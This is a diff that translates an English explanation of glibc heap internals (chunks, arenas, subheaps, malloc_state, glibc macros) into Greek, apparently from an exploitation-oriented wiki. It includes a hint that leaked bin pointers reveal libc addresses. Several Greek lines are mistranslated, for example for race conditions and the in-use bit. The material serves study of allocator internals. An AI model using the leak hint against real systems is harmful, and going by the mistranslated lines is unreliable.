**`free`**. -As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section): +Όπως φαίνεται, είναι ακριβώς μετά το σημείο όπου το δυαδικό αρχείο φορτώνεται στη μνήμη (ελέγξτε την ενότητα `[heap]`):
### Basic Chunk Allocation -When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is. +Όταν ζητείται να αποθηκευτούν κάποια δεδομένα στον σωρό, δεσμεύεται κάποιος χώρος του σωρού γι' αυτό. Αυτός ο χώρος θα ανήκει σε ένα bin και μόνο τα ζητούμενα δεδομένα + ο χώρος των κεφαλίδων bin + η ελάχιστη απόσταση μεγέθους bin θα διατηρηθούν για το chunk. Ο στόχος είναι να διατηρηθεί όσο το δυνατόν λιγότερη μνήμη χωρίς να γίνεται περίπλοκο να βρεθεί πού βρίσκεται κάθε chunk. Για αυτό, χρησιμοποιούνται οι πληροφορίες μεταδεδομένων του chunk για να γνωρίζουμε πού βρίσκεται κάθε χρησιμοποιούμενο/ελεύθερο chunk. -There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following: +Υπάρχουν διάφοροι τρόποι για να δεσμευτεί ο χώρος, κυρίως ανάλογα με το χρησιμοποιούμενο bin, αλλά μια γενική μεθοδολογία είναι η εξής: -- The program starts by requesting certain amount of memory. -- If in the list of chunks there someone available big enough to fulfil the request, it'll be used - - This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list -- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk -- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk -- If everything fails, `malloc` returns null. +- Το πρόγραμμα ξεκινά ζητώντας μια συγκεκριμένη ποσότητα μνήμης. +- Αν στη λίστα των chunks υπάρχει κάποιο διαθέσιμο αρκετά μεγάλο για να ικανοποιήσει το αίτημα, θα χρησιμοποιηθεί. +- Αυτό μπορεί ακόμη και να σημαίνει ότι μέρος του διαθέσιμου chunk θα χρησιμοποιηθεί για αυτό το αίτημα και το υπόλοιπο θα προστεθεί στη λίστα των chunks. +- Αν δεν υπάρχει διαθέσιμο chunk στη λίστα αλλά υπάρχει ακόμη χώρος στη δεσμευμένη μνήμη του σωρού, ο διαχειριστής του σωρού δημιουργεί ένα νέο chunk. +- Αν δεν υπάρχει αρκετός χώρος στον σωρό για να δεσμευτεί το νέο chunk, ο διαχειριστής του σωρού ζητά από τον πυρήνα να επεκτείνει τη μνήμη που έχει δεσμευτεί για τον σωρό και στη συνέχεια χρησιμοποιεί αυτή τη μνήμη για να δημιουργήσει το νέο chunk. +- Αν όλα αποτύχουν, το `malloc` επιστρέφει null. -Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory. +Σημειώστε ότι αν η ζητούμενη **μνήμη ξεπερνά ένα όριο**, θα χρησιμοποιηθεί το **`mmap`** για να χαρτογραφηθεί η ζητούμενη μνήμη. ## Arenas -In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck. +Σε **πολυνηματικές** εφαρμογές, ο διαχειριστής του σωρού πρέπει να αποτρέπει **συνθήκες ταχύτητας** που θα μπορούσαν να οδηγήσουν σε κρα crashes. Αρχικά, αυτό γινόταν χρησιμοποιώντας ένα **παγκόσμιο mutex** για να διασφαλιστεί ότι μόνο ένα νήμα μπορούσε να έχει πρόσβαση στον σωρό τη φορά, αλλά αυτό προκαλούσε **προβλήματα απόδοσης** λόγω του στενέματος που προκαλούσε το mutex. -To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas. +Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε τις "arenas", όπου **κάθε arena** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές arenas. -The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention. +Η προεπιλεγμένη "κύρια" arena διαχειρίζεται τις λειτουργίες του σωρού για εφαρμογές με ένα νήμα. Όταν προστίθενται **νέα νήματα**, ο διαχειριστής του σωρού τους αναθέτει **δευτερεύουσες arenas** για να μειώσει την αντιπαλότητα. Αρχικά προσπαθεί να συνδέσει κάθε νέο νήμα με μια μη χρησιμοποιούμενη arena, δημιουργώντας νέες αν χρειαστεί, μέχρι ένα όριο 2 φορές τον αριθμό των πυρήνων CPU για συστήματα 32-bit και 8 φορές για συστήματα 64-bit. Μόλις φτάσει το όριο, **τα νήματα πρέπει να μοιράζονται τις arenas**, οδηγώντας σε πιθανή αντιπαλότητα. -Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations. +Σε αντίθεση με την κύρια arena, η οποία επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `brk`, οι δευτερεύουσες arenas δημιουργούν "subheaps" χρησιμοποιώντας `mmap` και `mprotect` για να προσομοιώσουν τη συμπεριφορά του σωρού, επιτρέποντας ευελιξία στη διαχείριση μνήμης για πολυνηματικές λειτουργίες. ### Subheaps -Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate: +Τα subheaps χρησιμεύουν ως αποθέματα μνήμης για δευτερεύουσες arenas σε πολυνηματικές εφαρμογές, επιτρέποντάς τους να αναπτύσσονται και να διαχειρίζονται τις δικές τους περιοχές σωρού ξεχωριστά από τον κύριο σωρό. Να πώς διαφέρουν τα subheaps από τον αρχικό σωρό και πώς λειτουργούν: -1. **Initial Heap vs. Subheaps**: - - The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call. - - Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region. -2. **Memory Reservation with `mmap`**: - - When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use. - - By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes. -3. **Gradual Expansion with `mprotect`**: - - The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet. - - To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed. - - Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation. +1. **Αρχικός Σωρός vs. Subheaps**: +- Ο αρχικός σωρός βρίσκεται ακριβώς μετά το δυαδικό αρχείο του προγράμματος στη μνήμη και επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `sbrk`. +- Τα subheaps, που χρησιμοποιούνται από δευτερεύουσες arenas, δημιουργούνται μέσω του `mmap`, μιας κλήσης συστήματος που χαρτογραφεί μια καθορισμένη περιοχή μνήμης. +2. **Δέσμευση Μνήμης με `mmap`**: +- Όταν ο διαχειριστής του σωρού δημιουργεί ένα subheap, δεσμεύει ένα μεγάλο μπλοκ μνήμης μέσω του `mmap`. Αυτή η δέσμευση δεν δεσμεύει άμεσα μνήμη; απλώς καθορίζει μια περιοχή που δεν πρέπει να χρησιμοποιούν άλλες διαδικασίες ή δεσμεύσεις του συστήματος. +- Από προεπιλογή, το μέγεθος που έχει δεσμευτεί για ένα subheap είναι 1 MB για διαδικασίες 32-bit και 64 MB για διαδικασίες 64-bit. +3. **Σταδιακή Επέκταση με `mprotect`**: +- Η δεσμευμένη περιοχή μνήμης αρχικά σημειώνεται ως `PROT_NONE`, υποδεικνύοντας ότι ο πυρήνας δεν χρειάζεται να δεσμεύσει φυσική μνήμη σε αυτόν τον χώρο ακόμα. +- Για να "αναπτυχθεί" το subheap, ο διαχειριστής του σωρού χρησιμοποιεί το `mprotect` για να αλλάξει τις άδειες σελίδας από `PROT_NONE` σε `PROT_READ | PROT_WRITE`, προτρέποντας τον πυρήνα να δεσμεύσει φυσική μνήμη στις προηγουμένως δεσμευμένες διευθύνσεις. Αυτή η σταδιακή προσέγγιση επιτρέπει στο subheap να επεκτείνεται κατά ανάγκη. +- Μόλις εξαντληθεί ολόκληρο το subheap, ο διαχειριστής του σωρού δημιουργεί ένα νέο subheap για να συνεχίσει τη δέσμευση. ### heap_info -This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info. - +Αυτή η δομή δεσμεύει σχετικές πληροφορίες του σωρού. Επιπλέον, η μνήμη του σωρού μπορεί να μην είναι συνεχής μετά από περισσότερες δεσμεύσεις, αυτή η δομή θα αποθηκεύει επίσης αυτές τις πληροφορίες. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 typedef struct _heap_info { - mstate ar_ptr; /* Arena for this heap. */ - struct _heap_info *prev; /* Previous heap. */ - size_t size; /* Current size in bytes. */ - size_t mprotect_size; /* Size in bytes that has been mprotected - PROT_READ|PROT_WRITE. */ - size_t pagesize; /* Page size used when allocating the arena. */ - /* Make sure the following data is properly aligned, particularly - that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of - MALLOC_ALIGNMENT. */ - char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; +mstate ar_ptr; /* Arena for this heap. */ +struct _heap_info *prev; /* Previous heap. */ +size_t size; /* Current size in bytes. */ +size_t mprotect_size; /* Size in bytes that has been mprotected +PROT_READ|PROT_WRITE. */ +size_t pagesize; /* Page size used when allocating the arena. */ +/* Make sure the following data is properly aligned, particularly +that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of +MALLOC_ALIGNMENT. */ +char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; } heap_info; ``` - ### malloc_state -**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\ -It’s important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\ -In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**. +**Κάθε heap** (κύρια αρένα ή άλλες αρένες νημάτων) έχει μια **δομή `malloc_state`.**\ +Είναι σημαντικό να σημειωθεί ότι η **δομή `malloc_state` της κύριας αρένας** είναι μια **παγκόσμια μεταβλητή στη libc** (άρα βρίσκεται στον χώρο μνήμης της libc).\ +Στην περίπτωση των δομών **`malloc_state`** των heaps των νημάτων, βρίσκονται **μέσα στο "heap" του δικού τους νήματος**. -There some interesting things to note from this structure (see C code below): +Υπάρχουν μερικά ενδιαφέροντα πράγματα να σημειωθούν από αυτή τη δομή (δείτε τον παρακάτω κώδικα C): -- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time -- Flags: +- `__libc_lock_define (, mutex);` Υπάρχει για να διασφαλίσει ότι αυτή η δομή από το heap προσπελάζεται από 1 νήμα τη φορά +- Σημαίες: - - ```c - #define NONCONTIGUOUS_BIT (2U) +- ```c +#define NONCONTIGUOUS_BIT (2U) - #define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) - #define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) - #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) - #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) - ``` - -- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used) - - Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**. -- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas -- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space. -- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here. +#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) +#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) +#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) +#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) +``` +- Ο `mchunkptr bins[NBINS * 2 - 2];` περιέχει **δείκτες** στους **πρώτους και τελευταίους chunks** των μικρών, μεγάλων και αταξινόμητων **bins** (το -2 είναι επειδή ο δείκτης 0 δεν χρησιμοποιείται) +- Επομένως, το **πρώτο chunk** αυτών των bins θα έχει έναν **πίσω δείκτη σε αυτή τη δομή** και το **τελευταίο chunk** αυτών των bins θα έχει έναν **μπροστά δείκτη** σε αυτή τη δομή. Αυτό σημαίνει βασικά ότι αν μπορείτε να **διαρρεύσετε αυτές τις διευθύνσεις στην κύρια αρένα** θα έχετε έναν δείκτη στη δομή στη **libc**. +- Οι δομές `struct malloc_state *next;` και `struct malloc_state *next_free;` είναι συνδεδεμένες λίστες αρεών +- Το `top` chunk είναι το τελευταίο "chunk", το οποίο είναι βασικά **όλος ο χώρος που απομένει στο heap**. Μόλις το top chunk είναι "άδειο", το heap έχει χρησιμοποιηθεί εντελώς και χρειάζεται να ζητήσει περισσότερο χώρο. +- Το `last reminder` chunk προέρχεται από περιπτώσεις όπου δεν είναι διαθέσιμο ένα chunk ακριβούς μεγέθους και επομένως ένα μεγαλύτερο chunk διασπάται, ένα δείκτης που απομένει τοποθετείται εδώ. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 struct malloc_state { - /* Serialize access. */ - __libc_lock_define (, mutex); +/* Serialize access. */ +__libc_lock_define (, mutex); - /* Flags (formerly in max_fast). */ - int flags; +/* Flags (formerly in max_fast). */ +int flags; - /* Set if the fastbin chunks contain recently inserted free blocks. */ - /* Note this is a bool but not all targets support atomics on booleans. */ - int have_fastchunks; +/* Set if the fastbin chunks contain recently inserted free blocks. */ +/* Note this is a bool but not all targets support atomics on booleans. */ +int have_fastchunks; - /* Fastbins */ - mfastbinptr fastbinsY[NFASTBINS]; +/* Fastbins */ +mfastbinptr fastbinsY[NFASTBINS]; - /* Base of the topmost chunk -- not otherwise kept in a bin */ - mchunkptr top; +/* Base of the topmost chunk -- not otherwise kept in a bin */ +mchunkptr top; - /* The remainder from the most recent split of a small request */ - mchunkptr last_remainder; +/* The remainder from the most recent split of a small request */ +mchunkptr last_remainder; - /* Normal bins packed as described above */ - mchunkptr bins[NBINS * 2 - 2]; +/* Normal bins packed as described above */ +mchunkptr bins[NBINS * 2 - 2]; - /* Bitmap of bins */ - unsigned int binmap[BINMAPSIZE]; +/* Bitmap of bins */ +unsigned int binmap[BINMAPSIZE]; - /* Linked list */ - struct malloc_state *next; +/* Linked list */ +struct malloc_state *next; - /* Linked list for free arenas. Access to this field is serialized - by free_list_lock in arena.c. */ - struct malloc_state *next_free; +/* Linked list for free arenas. Access to this field is serialized +by free_list_lock in arena.c. */ +struct malloc_state *next_free; - /* Number of threads attached to this arena. 0 if the arena is on - the free list. Access to this field is serialized by - free_list_lock in arena.c. */ - INTERNAL_SIZE_T attached_threads; +/* Number of threads attached to this arena. 0 if the arena is on +the free list. Access to this field is serialized by +free_list_lock in arena.c. */ +INTERNAL_SIZE_T attached_threads; - /* Memory allocated from the system in this arena. */ - INTERNAL_SIZE_T system_mem; - INTERNAL_SIZE_T max_system_mem; +/* Memory allocated from the system in this arena. */ +INTERNAL_SIZE_T system_mem; +INTERNAL_SIZE_T max_system_mem; }; ``` - ### malloc_chunk -This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks. - +Αυτή η δομή αναπαριστά ένα συγκεκριμένο κομμάτι μνήμης. Τα διάφορα πεδία έχουν διαφορετική σημασία για τα κατανεμημένα και μη κατανεμημένα κομμάτια. ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c struct malloc_chunk { - INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ - INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ - struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk; - /* Only used for large blocks: pointer to next larger size. */ - struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk_nextsize; +INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ +INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ +struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk; +/* Only used for large blocks: pointer to next larger size. */ +struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk_nextsize; }; typedef struct malloc_chunk* mchunkptr; ``` - -As commented previously, these chunks also have some metadata, very good represented in this image: +Όπως σχολιάστηκε προηγουμένως, αυτά τα κομμάτια έχουν επίσης κάποια μεταδεδομένα, πολύ καλά απεικονισμένα σε αυτή την εικόνα:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate: +Τα μεταδεδομένα είναι συνήθως 0x08B που υποδεικνύει το μέγεθος του τρέχοντος κομματιού χρησιμοποιώντας τα τελευταία 3 bits για να υποδείξει: -- `A`: If 1 it comes from a subheap, if 0 it's in the main arena -- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap -- `P`: If 1, the previous chunk is in use +- `A`: Αν είναι 1 προέρχεται από ένα υποσωρό, αν είναι 0 είναι στην κύρια αρένα +- `M`: Αν είναι 1, αυτό το κομμάτι είναι μέρος ενός χώρου που έχει κατανεμηθεί με mmap και δεν είναι μέρος ενός σωρού +- `P`: Αν είναι 1, το προηγούμενο κομμάτι είναι σε χρήση -Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated). +Στη συνέχεια, ο χώρος για τα δεδομένα του χρήστη, και τελικά 0x08B για να υποδείξει το μέγεθος του προηγούμενου κομματιού όταν το κομμάτι είναι διαθέσιμο (ή για να αποθηκεύσει δεδομένα χρήστη όταν είναι κατανεμημένο). -Moreover, when available, the user data is used to contain also some data: +Επιπλέον, όταν είναι διαθέσιμα, τα δεδομένα του χρήστη χρησιμοποιούνται επίσης για να περιέχουν κάποια δεδομένα: -- **`fd`**: Pointer to the next chunk -- **`bk`**: Pointer to the previous chunk -- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself -- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself +- **`fd`**: Δείκτης στο επόμενο κομμάτι +- **`bk`**: Δείκτης στο προηγούμενο κομμάτι +- **`fd_nextsize`**: Δείκτης στο πρώτο κομμάτι στη λίστα που είναι μικρότερο από το ίδιο +- **`bk_nextsize`:** Δείκτης στο πρώτο κομμάτι της λίστας που είναι μεγαλύτερο από το ίδιο

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

> [!NOTE] -> Note how liking the list this way prevents the need to having an array where every single chunk is being registered. +> Σημειώστε πώς η σύνδεση της λίστας με αυτόν τον τρόπο αποτρέπει την ανάγκη να υπάρχει ένας πίνακας όπου καταχωρείται κάθε κομμάτι. -### Chunk Pointers - -When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\ -For these conversions these functions are used: +### Δείκτες Κομματιών +Όταν χρησιμοποιείται malloc επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τις κεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των κεφαλίδων (μεταδεδομένα).\ +Για αυτές τις μετατροπές χρησιμοποιούνται αυτές οι συναρτήσεις: ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -207,13 +200,11 @@ For these conversions these functions are used: /* The smallest size we can malloc is an aligned minimal chunk */ #define MINSIZE \ - (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) +(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) ``` +### Ευθυγράμμιση & ελάχιστο μέγεθος -### Alignment & min size - -The pointer to the chunk and `0x0f` must be 0. - +Ο δείκτης προς το κομμάτι και `0x0f` πρέπει να είναι 0. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61 #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) @@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0. #define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0) #define misaligned_chunk(p) \ - ((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ - & MALLOC_ALIGN_MASK) +((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ +& MALLOC_ALIGN_MASK) /* pad request bytes into a usable size -- internal version */ /* Note: This must be a macro that evaluates to a compile time constant - if passed a literal constant. */ +if passed a literal constant. */ #define request2size(req) \ - (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ - MINSIZE : \ - ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) +(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ +MINSIZE : \ +((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) /* Check if REQ overflows when padded and aligned and if the resulting - value is less than PTRDIFF_T. Returns the requested size or - MINSIZE in case the value is less than MINSIZE, or 0 if any of the - previous checks fail. */ +value is less than PTRDIFF_T. Returns the requested size or +MINSIZE in case the value is less than MINSIZE, or 0 if any of the +previous checks fail. */ static inline size_t checked_request2size (size_t req) __nonnull (1) { - if (__glibc_unlikely (req > PTRDIFF_MAX)) - return 0; +if (__glibc_unlikely (req > PTRDIFF_MAX)) +return 0; - /* When using tagged memory, we cannot share the end of the user - block with the header for the next chunk, so ensure that we - allocate blocks that are rounded up to the granule size. Take - care not to overflow from close to MAX_SIZE_T to a small - number. Ideally, this would be part of request2size(), but that - must be a macro that produces a compile time constant if passed - a constant literal. */ - if (__glibc_unlikely (mtag_enabled)) - { - /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ - asm (""); +/* When using tagged memory, we cannot share the end of the user +block with the header for the next chunk, so ensure that we +allocate blocks that are rounded up to the granule size. Take +care not to overflow from close to MAX_SIZE_T to a small +number. Ideally, this would be part of request2size(), but that +must be a macro that produces a compile time constant if passed +a constant literal. */ +if (__glibc_unlikely (mtag_enabled)) +{ +/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ +asm (""); - req = (req + (__MTAG_GRANULE_SIZE - 1)) & - ~(size_t)(__MTAG_GRANULE_SIZE - 1); - } +req = (req + (__MTAG_GRANULE_SIZE - 1)) & +~(size_t)(__MTAG_GRANULE_SIZE - 1); +} - return request2size (req); +return request2size (req); } ``` +Σημειώστε ότι για τον υπολογισμό του συνολικού χώρου που απαιτείται προστίθεται μόνο μία φορά το `SIZE_SZ` επειδή το πεδίο `prev_size` μπορεί να χρησιμοποιηθεί για την αποθήκευση δεδομένων, επομένως απαιτείται μόνο η αρχική κεφαλίδα. -Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed. +### Λάβετε δεδομένα Chunk και τροποποιήστε τα μεταδεδομένα -### Get Chunk data and alter metadata - -These functions work by receiving a pointer to a chunk and are useful to check/set metadata: - -- Check chunk flags +Αυτές οι συναρτήσεις λειτουργούν λαμβάνοντας έναν δείκτη σε ένα chunk και είναι χρήσιμες για τον έλεγχο/ρύθμιση μεταδεδομένων: +- Ελέγξτε τις σημαίες του chunk ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained - from a non-main arena. This is only set immediately before handing - the chunk to the user, if necessary. */ +from a non-main arena. This is only set immediately before handing +the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4 /* Check for chunk from main arena. */ @@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Mark a chunk as not being on the main arena. */ #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA) ``` - -- Sizes and pointers to other chunks - +- Μεγέθη και δείκτες σε άλλα κομμάτια ```c /* - Bits to mask off when extracting size +Bits to mask off when extracting size - Note: IS_MMAPPED is intentionally not masked off from size field in - macros for which mmapped chunks should never be seen. This should - cause helpful core dumps to occur if it is tried by accident by - people extending or adapting this malloc. - */ +Note: IS_MMAPPED is intentionally not masked off from size field in +macros for which mmapped chunks should never be seen. This should +cause helpful core dumps to occur if it is tried by accident by +people extending or adapting this malloc. +*/ #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) /* Get size, ignoring use bits */ @@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) ``` - -- Insue bit - +- Εξασφαλίστε bit ```c /* extract p's inuse bit */ #define inuse(p) \ - ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) +((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) /* set/clear chunk as being inuse without otherwise disturbing */ #define set_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE #define clear_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) /* check/set/clear inuse bits in known places */ #define inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) #define set_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) #define clear_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` - -- Set head and footer (when chunk nos in use - +- Ορίστε κεφαλίδα και υποσέλιδο (όταν χρησιμοποιούνται αριθμοί τμημάτων) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) ``` - -- Get the size of the real usable data inside the chunk - +- Πάρτε το μέγεθος των πραγματικά χρησιμοποιήσιμων δεδομένων μέσα στο κομμάτι ```c #pragma GCC poison mchunk_size #pragma GCC poison mchunk_prev_size /* This is the size of the real usable data in the chunk. Not valid for - dumped heap chunks. */ +dumped heap chunks. */ #define memsize(p) \ - (__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ - chunksize (p) - CHUNK_HDR_SZ : \ - chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) +(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ +chunksize (p) - CHUNK_HDR_SZ : \ +chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) /* If memory tagging is enabled the layout changes to accommodate the granule - size, this is wasteful for small allocations so not done by default. - Both the chunk header and user data has to be granule aligned. */ +size, this is wasteful for small allocations so not done by default. +Both the chunk header and user data has to be granule aligned. */ _Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ, - "memory tagging is not supported with large granule."); +"memory tagging is not supported with large granule."); static __always_inline void * tag_new_usable (void *ptr) { - if (__glibc_unlikely (mtag_enabled) && ptr) - { - mchunkptr cp = mem2chunk(ptr); - ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); - } - return ptr; +if (__glibc_unlikely (mtag_enabled) && ptr) +{ +mchunkptr cp = mem2chunk(ptr); +ptr = __libc_mtag_tag_region 